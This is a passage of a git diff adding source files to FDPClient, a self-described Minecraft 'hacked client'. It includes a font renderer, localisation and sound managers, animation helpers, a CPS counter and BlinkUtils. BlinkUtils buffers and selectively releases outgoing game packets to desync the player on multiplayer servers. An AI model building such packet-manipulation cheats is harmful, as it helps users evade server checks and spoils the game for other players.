font/ + graphics.setFont(font); + + // Sets the color to white with no alpha. + graphics.setColor(new Color(255, 255, 255, 0)); + + // Fills the entire image with the color above, makes it transparent. + graphics.fillRect(0, 0, characterImage.getWidth(), characterImage.getHeight()); + + // Sets the color to white to draw the character. + graphics.setColor(Color.WHITE); + + // Enables anti-aliasing so the font doesn't have aliasing. + //graphics.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_ON); + //graphics.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON); + graphics.setRenderingHint(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_QUALITY); + graphics.setRenderingHint(RenderingHints.KEY_FRACTIONALMETRICS, this.fractionalMetrics ? RenderingHints.VALUE_FRACTIONALMETRICS_ON : RenderingHints.VALUE_FRACTIONALMETRICS_OFF); + + // Draws the character. + graphics.drawString(character + "", MARGIN, fontMetrics.getAscent()); + + // Generates a new texture id. + int textureId = GlStateManager.generateTexture(); + + // Allocates the texture in opengl. + createTexture(textureId, characterImage); + + // Initiates the character data and stores it in the data array. + characterData[index] = new CharacterData(characterImage.getWidth(), characterImage.getHeight(), textureId); + } + + // Returns the filled character data array. + return characterData; + } + + /** + * Uploads the opengl texture. + * + * @param textureId The texture id to upload to. + * @param image The image to upload. + */ + private void createTexture(int textureId, BufferedImage image) { + // Array of all the colors in the image. + int[] pixels = new int[image.getWidth() * image.getHeight()]; + + // Fetches all the colors in the image. + image.getRGB(0, 0, image.getWidth(), image.getHeight(), pixels, 0, image.getWidth()); + + // Buffer that will store the texture data. + ByteBuffer buffer = BufferUtils.createByteBuffer(image.getWidth() * image.getHeight() * 4); //4 for RGBA, 3 for RGB + + // Puts all the pixel data into the buffer. + for (int y = 0; y < image.getHeight(); y++) { + for (int x = 0; x < image.getWidth(); x++) { + + // The pixel in the image. + int pixel = pixels[y * image.getWidth() + x]; + + // Puts the data into the byte buffer. + buffer.put((byte)((pixel >> 16) & 0xFF)); + buffer.put((byte)((pixel >> 8) & 0xFF)); + buffer.put((byte)(pixel & 0xFF)); + buffer.put((byte)((pixel >> 24) & 0xFF)); + } + } + + // Flips the byte buffer, not sure why this is needed. + ((java.nio.Buffer)buffer).flip(); + + // Binds the opengl texture by the texture id. + GlStateManager.bindTexture(textureId); + + // Sets the texture parameter stuff. + GL11.glTexParameteri(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_MIN_FILTER, GL11.GL_NEAREST); + GL11.glTexParameteri(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_MAG_FILTER, GL11.GL_NEAREST); + + // Uploads the texture to opengl. + GL11.glTexImage2D(GL11.GL_TEXTURE_2D, 0, GL11.GL_RGBA, image.getWidth(), image.getHeight(), 0, GL11.GL_RGBA, GL11.GL_UNSIGNED_BYTE, buffer); + + // Binds the opengl texture 0. + GlStateManager.bindTexture(0); + } + + + /** + * Renders the given string. + * + * @param text The text to be rendered. + * @param x The x position of the text. + * @param y The y position of the text. + * @param color The color of the text. + */ + public void drawString(String text, float x, float y, int color) { + renderString(text, x, y, color, false); + } + + /** + * Renders the given string. + * + * @param text The text to be rendered. + * @param x The x position of the text. + * @param y The y position of the text. + * @param shadow If the text should be rendered with the shadow color. + * @param color The color of the text. + */ + private void renderString(String text, float x, float y, int color, boolean shadow) { + // Returns if the text is empty. + if (text.length() == 0) return; + + // Pushes the matrix to store gl values. + GL11.glPushMatrix(); + + // Scales down to make the font look better. + GlStateManager.scale(0.5, 0.5, 1); + + // Removes half the margin to render in the right spot. + x -= MARGIN / 2; + y -= MARGIN / 2; + + // Adds 0.5 to x and y. + x += 0.5F; + y += 0.5F; + + // Doubles the position because of the scaling. + x *= 2; + y *= 2; + + // The character texture set to be used. (Regular by default) + CharacterData[] characterData = regularData; + + // Booleans to handle the style. + boolean underlined = false; + boolean strikethrough = false; + boolean obfuscated = false; + + // The length of the text used for the draw loop. + int length = text.length(); + + // The multiplier. + float multiplier = (shadow ? 4 : 1); + + float a = (float)(color >> 24 & 255) / 255F; + float r = (float)(color >> 16 & 255) / 255F; + float g = (float)(color >> 8 & 255) / 255F; + float b = (float)(color & 255) / 255F; + + GL11.glColor4f(r / multiplier, g / multiplier, b / multiplier, a); + + // Loops through the text. + for (int i = 0; i < length; i++) { + // The character at the index of 'i'. + char character = text.charAt(i); + + // The previous character. + char previous = i > 0 ? text.charAt(i - 1) : '.'; + + // Continues if the previous color was the color invoker. + if (previous == COLOR_INVOKER) continue; + + // Sets the color if the character is the color invoker and the character index is less than the length. + if (character == COLOR_INVOKER && i < length) { + + // The color index of the character after the current character. + int index = "0123456789abcdefklmnor".indexOf(text.toLowerCase(Locale.ENGLISH).charAt(i + 1)); + + // If the color character index is of the normal color invoking characters. + if (index < 16) { + // Resets all the styles. + obfuscated = false; + strikethrough = false; + underlined = false; + + // Sets the character data to the regular type. + characterData = regularData; + + // Clamps the index just to be safe in case an odd character somehow gets in here. + if (index < 0 || index > 15) index = 15; + + // Adds 16 to the color index to get the darker shadow color. + if (shadow) index += 16; + + // Gets the text color from the color codes array. + int textColor = this.colorCodes[index]; + + // Sets the current color. + GL11.glColor4d((textColor >> 16) / 255d, (textColor >> 8 & 255) / 255d, (textColor & 255) / 255d, a); + } else if (index == 16) + obfuscated = true; + else if (index == 17) + // Sets the character data to the bold type. + characterData = boldData; + else if (index == 18) + strikethrough = true; + else if (index == 19) + underlined = true; + else if (index == 20) + // Sets the character data to the italics type. + characterData = italicsData; + else if (index == 21) { + // Resets the style. + obfuscated = false; + strikethrough = false; + underlined = false; + + // Sets the character data to the regular type. + characterData = regularData; + + // Sets the color to white + GL11.glColor4d(1 * (shadow ? 0.25 : 1), 1 * (shadow ? 0.25 : 1), 1 * (shadow ? 0.25 : 1), a); + } + } else { + // Continues to not crash! + if (character > 255) continue; + + // Sets the character to a random char if obfuscated is enabled. + if (obfuscated) + character = (char)(((int) character) + RANDOM_OFFSET); + + // Draws the character. + drawChar(character, characterData, x, y); + + // The character data for the given character. + CharacterData charData = characterData[character]; + + // Draws the strikethrough line if enabled. + if (strikethrough) + drawLine(new Vector2f(0, charData.height / 2f), new Vector2f(charData.width, charData.height / 2f), 3); + + // Draws the underline if enabled. + if (underlined) + drawLine(new Vector2f(0, charData.height - 15), new Vector2f(charData.width, charData.height - 15), 3); + + // Adds to the offset. + x += charData.width - (2 * MARGIN); + } + } + + // Restores previous values. + GL11.glPopMatrix(); + + // Sets the color back to white so no odd rendering problems happen. + GL11.glColor4d(1, 1, 1, 1); + + GlStateManager.bindTexture(0); + } + + /** + * Gets the width of the given text. + * + * @param text The text to get the width of. + * @return The width of the given text. + */ + public float getWidth(String text) { + + // The width of the string. + float width = 0; + + // The character texture set to be used. (Regular by default) + CharacterData[] characterData = regularData; + + // The length of the text. + int length = text.length(); + + // Loops through the text. + for (int i = 0; i < length; i++) { + // The character at the index of 'i'. + char character = text.charAt(i); + + // The previous character. + char previous = i > 0 ? text.charAt(i - 1) : '.'; + + // Continues if the previous color was the color invoker. + if (previous == COLOR_INVOKER) continue; + + // Sets the color if the character is the color invoker and the character index is less than the length. + if (character == COLOR_INVOKER && i < length) { + + // The color index of the character after the current character. + int index = "0123456789abcdefklmnor".indexOf(text.toLowerCase(Locale.ENGLISH).charAt(i + 1)); + + if (index == 17) + // Sets the character data to the bold type. + characterData = boldData; + else if (index == 20) + // Sets the character data to the italics type. + characterData = italicsData; + else if (index == 21) + // Sets the character data to the regular type. + characterData = regularData; + } else { + // Continues to not crash! + if (character > 255) continue; + + // The character data for the given character. + CharacterData charData = characterData[character]; + + // Adds to the offset. + width += (charData.width - (2 * MARGIN)) / 2; + } + } + + // Returns the width. + return width + MARGIN / 2; + } + + /** + * Draws the character. + * + * @param character The character to be drawn. + * @param characterData The character texture set to be used. + */ + private void drawChar(char character, CharacterData[] characterData, float x, float y) { + // The char data that stores the character data. + CharacterData charData = characterData[character]; + + // Binds the character data texture. + charData.bind(); + GL11.glPushMatrix(); + + // Enables blending. + GL11.glEnable(GL11.GL_BLEND); + + // Sets the blending function. + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA); + + // Begins drawing the quad. + GL11.glBegin(GL11.GL_QUADS); { + // Maps out where the texture should be drawn. + GL11.glTexCoord2f(0, 0); + GL11.glVertex2d(x, y); + GL11.glTexCoord2f(0, 1); + GL11.glVertex2d(x, y + charData.height); + GL11.glTexCoord2f(1, 1); + GL11.glVertex2d(x + charData.width, y + charData.height); + GL11.glTexCoord2f(1, 0); + GL11.glVertex2d(x + charData.width, y); + } + // Ends the quad. + GL11.glEnd(); + + GL11.glDisable(GL11.GL_BLEND); + GL11.glPopMatrix(); + + // Binds the opengl texture by the texture id. + GL11.glBindTexture(GL11.GL_TEXTURE_2D, 0); + } + + /** + * Draws a line from start to end with the given width. + * + * @param start The starting point of the line. + * @param end The ending point of the line. + * @param width The thickness of the line. + */ + private void drawLine(Vector2f start, Vector2f end, float width) { + // Disables textures so we can draw a solid line. + GL11.glDisable(GL11.GL_TEXTURE_2D); + + // Sets the width. + GL11.glLineWidth(width); + + // Begins drawing the line. + GL11.glBegin(GL11.GL_LINES); { + GL11.glVertex2f(start.x, start.y); + GL11.glVertex2f(end.x, end.y); + } + // Ends drawing the line. + GL11.glEnd(); + + // Enables texturing back on. + GL11.glEnable(GL11.GL_TEXTURE_2D); + } + + /** + * Generates all the colors. + */ + private void generateColors() { + // Iterates through 32 colors. + for (int i = 0; i < 32; i++) { + // Not sure what this variable is. + int thingy = (i >> 3 & 1) * 85; + + // The red value of the color. + int red = (i >> 2 & 1) * 170 + thingy; + + // The green value of the color. + int green = (i >> 1 & 1) * 170 + thingy; + + // The blue value of the color. + int blue = (i >> 0 & 1) * 170 + thingy; + + // Increments the red by 85, not sure why does this in minecraft's font renderer. + if (i == 6) red += 85; + + // Used to make the shadow darker. + if (i >= 16) { + red /= 4; + green /= 4; + blue /= 4; + } + + // Sets the color in the color code at the index of 'i'. + this.colorCodes[i] = (red & 255) << 16 | (green & 255) << 8 | blue & 255; + } + } + + /** + * Class that holds the data for each character. + */ + static class CharacterData { + + /** + * The width of the character. + */ + public float width; + + /** + * The height of the character. + */ + public float height; + + /** + * The id of the character texture. + */ + private int textureId; + + public CharacterData(float width, float height, int textureId) { + this.width = width; + this.height = height; + this.textureId = textureId; + } + + /** + * Binds the texture. + */ + public void bind() { + // Binds the opengl texture by the texture id. + GL11.glBindTexture(GL11.GL_TEXTURE_2D, textureId); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/i18n/Language.kt b/src/main/java/net/ccbluex/liquidbounce/ui/i18n/Language.kt new file mode 100644 index 0000000..00dcec4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/i18n/Language.kt @@ -0,0 +1,52 @@ +package net.ccbluex.liquidbounce.ui.i18n + +import java.io.InputStream +import java.io.InputStreamReader +import java.util.* + +class Language(val locale: String) { + + private val translateMap = HashMap<String, String>() + + init { + read(locale) + } + + private fun find(): InputStream { + val split = locale.replace("-", "_").split("_") + + if(split.size > 1) { + val str = split[0].lowercase() + "-" + split[1].uppercase() + LanguageManager::class.java.classLoader.getResourceAsStream("assets/minecraft/fdpclient/translations/${str}/source.properties")?.let { + return it + } + } + + val str = split[0].lowercase() + LanguageManager::class.java.classLoader.getResourceAsStream("assets/minecraft/fdpclient/translations/${str}/source.properties")?.let { + return it + } + + LanguageManager::class.java.classLoader.getResourceAsStream("assets/minecraft/fdpclient/translations/source.properties")?.let { + return it + } + + throw IllegalStateException("Can't find language file! Try sync gitsubmodule if this is a custom build!") + } + + private fun read(locale: String) { + val prop = Properties() + + prop.load(InputStreamReader(find(), Charsets.UTF_8)) + + for ((key, value) in prop.entries) { + if (key is String && value is String) { + translateMap[key] = value + } + } + } + + fun get(key: String): String { + return translateMap[key] ?: key + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/i18n/LanguageManager.kt b/src/main/java/net/ccbluex/liquidbounce/ui/i18n/LanguageManager.kt new file mode 100644 index 0000000..8ddbdb0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/i18n/LanguageManager.kt @@ -0,0 +1,63 @@ +package net.ccbluex.liquidbounce.ui.i18n + +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.RegexUtils +import java.util.regex.Pattern + +object LanguageManager { + val key = "%" + val defaultLocale = "en_us" + + var language = Language(defaultLocale) + private set(value) { + cachedStrings.clear() + field = value + } + + // regex is slow, so cache match results + private val pattern = Pattern.compile("$key[A-Za-z0-9\u002E]*$key") + + private val cachedStrings = HashMap<String, String>() + + fun replace(text: String): String { + if (!text.contains(key)) { + return text + } + + if (cachedStrings.containsKey(text)) { + return cachedStrings[text]!! + } + + val matcher = pattern.matcher(text) + var result = text + RegexUtils.match(matcher).forEach { + val spliced = it.substring(1, it.length - 1) + val converted = get(spliced) + if (spliced != converted) { + result = result.replace(it, converted) + } + } + cachedStrings[text] = result + + return result + } + + fun get(key: String): String { + return language.get(key) + } + + fun getAndFormat(key: String, vararg argsIn: Any?): String { + val args = argsIn.toList().toMutableList() + args.forEachIndexed { index, arg -> + if (arg is String) { + args[index] = replace(arg) + } + } + return String.format(get(key), *args.toTypedArray()) + } + + fun switchLanguage(languageStr: String) { + ClientUtils.logInfo("Loading language $languageStr") + language = Language(languageStr) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/realpha.java b/src/main/java/net/ccbluex/liquidbounce/ui/realpha.java new file mode 100644 index 0000000..2738e21 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/realpha.java @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.ui; + +import java.awt.*; + +public class realpha { + + public static int reAlpha(final int n, final float n2) { + final Color color = new Color(n); + return new Color(0.003921569f * color.getRed(), 0.003921569f * color.getGreen(), 0.003921569f * color.getBlue(), n2).getRGB(); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/sound/TipSoundManager.kt b/src/main/java/net/ccbluex/liquidbounce/ui/sound/TipSoundManager.kt new file mode 100644 index 0000000..76adfd1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/sound/TipSoundManager.kt @@ -0,0 +1,25 @@ +package net.ccbluex.liquidbounce.ui.sound + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.utils.FileUtils +import java.io.File + +class TipSoundManager { + var enableSound: TipSoundPlayer + var disableSound: TipSoundPlayer + + init { + val enableSoundFile = File(FDPClient.fileManager.soundsDir, "enable.wav") + val disableSoundFile = File(FDPClient.fileManager.soundsDir, "disable.wav") + + if (!enableSoundFile.exists()) { + FileUtils.unpackFile(enableSoundFile, "assets/minecraft/fdpclient/sound/enable.wav") + } + if (!disableSoundFile.exists()) { + FileUtils.unpackFile(disableSoundFile, "assets/minecraft/fdpclient/sound/disable.wav") + } + + enableSound = TipSoundPlayer(enableSoundFile) + disableSound = TipSoundPlayer(disableSoundFile) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/sound/TipSoundPlayer.kt b/src/main/java/net/ccbluex/liquidbounce/ui/sound/TipSoundPlayer.kt new file mode 100644 index 0000000..7579b13 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/sound/TipSoundPlayer.kt @@ -0,0 +1,22 @@ +package net.ccbluex.liquidbounce.ui.sound + +import java.io.File +import javax.sound.sampled.AudioSystem + +class TipSoundPlayer(private val file: File) { + fun asyncPlay() { + Thread { playSound() }.start() + } + + fun playSound() { + try { + val audioInputStream = AudioSystem.getAudioInputStream(file) + val clip = AudioSystem.getClip() + clip.open(audioInputStream) + clip.start() + } catch (ex: Exception) { + println("Error with playing sound.") + ex.printStackTrace() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/ASMUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/ASMUtils.kt new file mode 100644 index 0000000..2d93a4e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/ASMUtils.kt @@ -0,0 +1,55 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import org.objectweb.asm.ClassReader +import org.objectweb.asm.ClassWriter +import org.objectweb.asm.tree.AbstractInsnNode +import org.objectweb.asm.tree.ClassNode +import org.objectweb.asm.tree.InsnList + +/** + * A bytecode class reader and writer util + * + * @author CCBlueX + */ +object ASMUtils { + + /** + * Read bytes to class node + * + * @param bytes ByteArray of class + */ + fun toClassNode(bytes: ByteArray): ClassNode { + val classReader = ClassReader(bytes) + val classNode = ClassNode() + classReader.accept(classNode, 0) + + return classNode + } + + /** + * Write class node to bytes + * + * @param classNode ClassNode of class + */ + fun toBytes(classNode: ClassNode): ByteArray { + val classWriter = ClassWriter(ClassWriter.COMPUTE_MAXS) + classNode.accept(classWriter) + + return classWriter.toByteArray() + } + + /** + * Lazy. + */ + fun toNodes(vararg nodes: AbstractInsnNode): InsnList { + val insnList = InsnList() + for (node in nodes) + insnList.add(node) + return insnList + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/AnimationHelper.java b/src/main/java/net/ccbluex/liquidbounce/utils/AnimationHelper.java new file mode 100644 index 0000000..506291e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/AnimationHelper.java @@ -0,0 +1,53 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.features.value.BoolValue; + +public class AnimationHelper { + public float animationX; + public int alpha; + public int getAlpha() { + return this.alpha; + } + public float getAnimationX() { + return this.animationX; + } + public void resetAlpha() { + this.alpha = 0; + } + public AnimationHelper() { + this.alpha = 0; + } + public void updateAlpha(int speed) { + if(alpha < 255) + this.alpha += speed; + } + public AnimationHelper(BoolValue value) { + animationX = value.get() ? 5 : -5; + } + public AnimationHelper(Module module) { + animationX = module.getState() ? 5 : -5; + } + + public static double animate(double target, double current, double speed) { + boolean larger; + boolean bl = larger = target > current; + if (speed < 0.0) { + speed = 0.0; + } else if (speed > 1.0) { + speed = 1.0; + } + double dif = Math.max(target, current) - Math.min(target, current); + double factor = dif * speed; + if (factor < 0.1) { + factor = 0.1; + } + current = larger ? (current += factor) : (current -= factor); + return current; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/AnimationUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/AnimationUtils.java new file mode 100644 index 0000000..2ecd2af --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/AnimationUtils.java @@ -0,0 +1,110 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import net.ccbluex.liquidbounce.utils.render.RenderUtils; + +public final class AnimationUtils { + public static double animate(double target, double current, double speed) { + if (current == target) return current; + + boolean larger = target > current; + if (speed < 0.0) { + speed = 0.0; + } else if (speed > 1.0) { + speed = 1.0; + } + + double dif = Math.max(target, current) - Math.min(target, current); + double factor = dif * speed; + if (factor < 0.1) { + factor = 0.1; + } + + if (larger) { + current += factor; + if (current >= target) current = target; + } else if (target < current) { + current -= factor; + if (current <= target) current = target; + } + + return current; + } + + public static float animate(float target, float current, float speed) { + if (current == target) return current; + + boolean larger = target > current; + if (speed < 0.0F) { + speed = 0.0F; + } else if (speed > 1.0F) { + speed = 1.0F; + } + + double dif = Math.max(target, (double)current) - Math.min(target, (double)current); + double factor = dif * (double)speed; + if (factor < 0.1) { + factor = 0.1; + } + + if (larger) { + current += (float)factor; + if (current >= target) current = target; + } else if (target < current) { + current -= (float)factor; + if (current <= target) current = target; + } + + return current; + } + + public static float lstransition(float now, float desired, double speed) { + final double dif = Math.abs(desired - now); + float a = (float) Math.abs((desired - (desired - (Math.abs(desired - now)))) / (100 - (speed * 10))); + float x = now; + + if (dif > 0) { + if (now < desired) + x += a * RenderUtils.deltaTime; + else if (now > desired) + x -= a * RenderUtils.deltaTime; + } else + x = desired; + + if(Math.abs(desired - x) < 10.0E-3 && x != desired) + x = desired; + + return x; + } + + public static double changer(double current, double add, double min, double max) { + current += add; + if (current > max) { + current = max; + } + if (current < min) { + current = min; + } + + return current; + } + + public static float changer(float current, float add, float min, float max) { + current += add; + if (current > max) { + current = max; + } + if (current < min) { + current = min; + } + + return current; + } + public static float easeOut(float t, float d) { + return (t = t / d - 1) * t * t + 1; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/BlinkUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/BlinkUtils.kt new file mode 100644 index 0000000..e00f97d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/BlinkUtils.kt @@ -0,0 +1,203 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.utils.PacketUtils.packets +import net.minecraft.client.entity.EntityOtherPlayerMP +import net.minecraft.network.Packet +import net.minecraft.network.handshake.client.C00Handshake +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S02PacketChat +import net.minecraft.network.play.server.S40PacketDisconnect +import net.minecraft.network.status.client.C00PacketServerQuery +import net.minecraft.network.status.client.C01PacketPing +import net.minecraft.util.Vec3 +import java.math.BigInteger +import java.util.* + +/** + * BlinkUtils | FDPClient Original + * Code by Co Dynamic + * Date: 2023/03/01 + */ + +//Not finished yet + +object BlinkUtils : MinecraftInstance() { + private val playerBuffer = LinkedList<Packet<INetHandlerPlayServer>>() + private var fakePlayer: EntityOtherPlayerMP? = null + const val Invalid_Type = -301 + const val MisMatch_Type = -302 + var movingPacketStat = false + var transactionStat = false + var keepAliveStat = false + var actionStat = false + var abilitiesStat = false + var invStat = false + var interactStat = false + var otherPacket = false + + private var packetToggleStat = booleanArrayOf(false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false) + init { + setBlinkState( + off = true, + release = true + ) + clearPacket() + } + + fun releasePacket(packetType: String? = null, onlySelected: Boolean = false, amount: Int = -1, minBuff: Int = 0) { + var count = 0 + when(packetType) { + null -> { + count = -1 + for (packets in playerBuffer) { + val packetID = BigInteger(packets.javaClass.simpleName.substring(1..2), 16).toInt() + if (packetToggleStat[packetID] || !onlySelected) { + PacketUtils.sendPacketNoEvent(packets) + } + } + } + else -> { + val tempBuffer = LinkedList<Packet<INetHandlerPlayServer>>() + for (packets in playerBuffer) { + val className = packets.javaClass.simpleName + if (className.equals(packetType, ignoreCase = true)) { + tempBuffer.add(packets) + } + } + while(tempBuffer.size > minBuff && (count < amount || amount <= 0)) { + PacketUtils.sendPacketNoEvent(tempBuffer.pop()) + count++ + } + } + } + clearPacket(packetType = packetType, onlySelected = onlySelected, amount = count) + } + + fun clearPacket(packetType: String? = null, onlySelected: Boolean = false, amount: Int = -1) { + when(packetType) { + null -> { + val tempBuffer = LinkedList<Packet<INetHandlerPlayServer>>() + for (packets in playerBuffer) { + val packetID = BigInteger(packets.javaClass.simpleName.substring(1..2), 16).toInt() + if (!packetToggleStat[packetID] && onlySelected) { + tempBuffer.add(packets) + } + } + playerBuffer.clear() + for (packets in tempBuffer) { + playerBuffer.add(packets) + } + } + else -> { + var count = 0 + val tempBuffer = LinkedList<Packet<INetHandlerPlayServer>>() + for (packets in playerBuffer) { + val className = packets.javaClass.simpleName + if (!className.equals(packetType, ignoreCase = true)) { + tempBuffer.add(packets) + } else { + count++ + if (count > amount) { + tempBuffer.add(packets) + } + } + } + playerBuffer.clear() + for (packets in tempBuffer) { + playerBuffer.add(packets) + } + } + } + } + + fun pushPacket(packets: Packet<*>):Boolean { + val packetID = BigInteger(packets.javaClass.simpleName.substring(1..2), 16).toInt() + if (packetToggleStat[packetID] && !isBlacklisted(packets.javaClass.simpleName)) { + playerBuffer.add(packets as Packet<INetHandlerPlayServer>) + return true + } + return false + } + + private fun isBlacklisted(packetType: String = ""):Boolean { + return when(packetType) { + "C00Handshake", "C00PacketLoginStart", "C00PacketServerQuery", "C01PacketChatMessage", "C01PacketEncryptionResponse", "C01PacketPing" -> true + else -> false + } + } + + fun setBlinkState() { + setBlinkState(off = true) + clearPacket() + } + + fun setBlinkState( + off: Boolean = false, + release: Boolean = false, + all: Boolean = false, + packetMoving: Boolean = movingPacketStat, + packetTransaction: Boolean = transactionStat, + packetKeepAlive: Boolean = keepAliveStat, + packetAction: Boolean = actionStat, + packetAbilities: Boolean = abilitiesStat, + packetInventory: Boolean = invStat, + packetInteract: Boolean = interactStat, + other: Boolean = otherPacket + ) { + if (release) { + releasePacket() + } + movingPacketStat = (packetMoving && !off) || all + transactionStat = (packetTransaction && !off) || all + keepAliveStat = (packetKeepAlive && !off) || all + actionStat = (packetAction && !off) || all + abilitiesStat = (packetAbilities && !off) || all + invStat = (packetInventory && !off )|| all + interactStat = (packetInteract && !off) || all + otherPacket = (other && !off) || all + if (all) { + for(i in packetToggleStat.indices) { + packetToggleStat[i] = true + } + } else { + for(i in packetToggleStat.indices) { + when(i) { + 0x00 -> packetToggleStat[i] = keepAliveStat + 0x01, 0x11, 0x12, 0x14, 0x15, 0x17, 0x18, 0x19 -> packetToggleStat[i] = otherPacket + 0x03, 0x04, 0x05, 0x06 -> packetToggleStat[i] = movingPacketStat + 0x0F -> packetToggleStat[i] = transactionStat + 0x02, 0x09, 0x0A, 0x0B -> packetToggleStat[i] = actionStat + 0x0C, 0x13 -> packetToggleStat[i] = abilitiesStat + 0x0D, 0x0E, 0x10, 0x16 -> packetToggleStat[i] = invStat + 0x07, 0x08 -> packetToggleStat[i] = interactStat + } + } + } + } + + fun bufferSize(packetType: String? = null):Int { + return when(packetType) { + null -> playerBuffer.size + else -> { + var packetCount = 0 + var flag = false + for (packets in playerBuffer) { + val className = packets.javaClass.simpleName + if (className.equals(packetType, ignoreCase = true)) { + flag = true + packetCount++ + } + } + if (flag) packetCount else MisMatch_Type + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/CPSCounter.java b/src/main/java/net/ccbluex/liquidbounce/utils/CPSCounter.java new file mode 100644 index 0000000..6bf337a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/CPSCounter.java @@ -0,0 +1,50 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +public class CPSCounter { + private static final int MAX_CPS = 50; + private static final RollingArrayLongBuffer[] TIMESTAMP_BUFFERS = new RollingArrayLongBuffer[MouseButton.values().length]; + + static { + for (int i = 0; i < TIMESTAMP_BUFFERS.length; i++) { + TIMESTAMP_BUFFERS[i] = new RollingArrayLongBuffer(MAX_CPS); + } + } + + /** + * Registers a mouse button click + * + * @param button The clicked button + */ + public static void registerClick(MouseButton button) { + TIMESTAMP_BUFFERS[button.getIndex()].add(System.currentTimeMillis()); + } + + /** + * Gets the count of clicks that have occurrence since the last 1000ms + * + * @param button The mouse button + * @return The CPS + */ + public static int getCPS(MouseButton button) { + return TIMESTAMP_BUFFERS[button.getIndex()].getTimestampsSince(System.currentTimeMillis() - 1000L); + } + + public enum MouseButton { + LEFT(0), MIDDLE(1), RIGHT(2); + + private final int index; + + MouseButton(int index) { + this.index = index; + } + + private int getIndex() { + return index; + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/ClassUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/ClassUtils.kt new file mode 100644 index 0000000..10abbc1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/ClassUtils.kt @@ -0,0 +1,85 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.features.value.Value +import org.apache.logging.log4j.core.config.plugins.ResolverUtil +import java.lang.reflect.Modifier + +object ClassUtils { + + private val cachedClasses = mutableMapOf<String, Boolean>() + + /** + * Allows you to check for existing classes with the [className] + */ + fun hasClass(className: String): Boolean { + return if (cachedClasses.containsKey(className)) { + cachedClasses[className]!! + } else try { + Class.forName(className) + cachedClasses[className] = true + + true + } catch (e: ClassNotFoundException) { + cachedClasses[className] = false + + false + } + } + + fun getObjectInstance(clazz: Class<*>): Any { + clazz.declaredFields.forEach { + if (it.name.equals("INSTANCE")) { + return it.get(null) + } + } + throw IllegalAccessException("This class not a kotlin object") + } + + fun getValues(clazz: Class<*>, instance: Any) = clazz.declaredFields.map { valueField -> + valueField.isAccessible = true + valueField[instance] + }.filterIsInstance<Value<*>>() + + /** + * scan classes with specified superclass like what Reflections do but with log4j [ResolverUtil] + * @author liulihaocai + */ + fun <T : Any> resolvePackage(packagePath: String, klass: Class<T>): 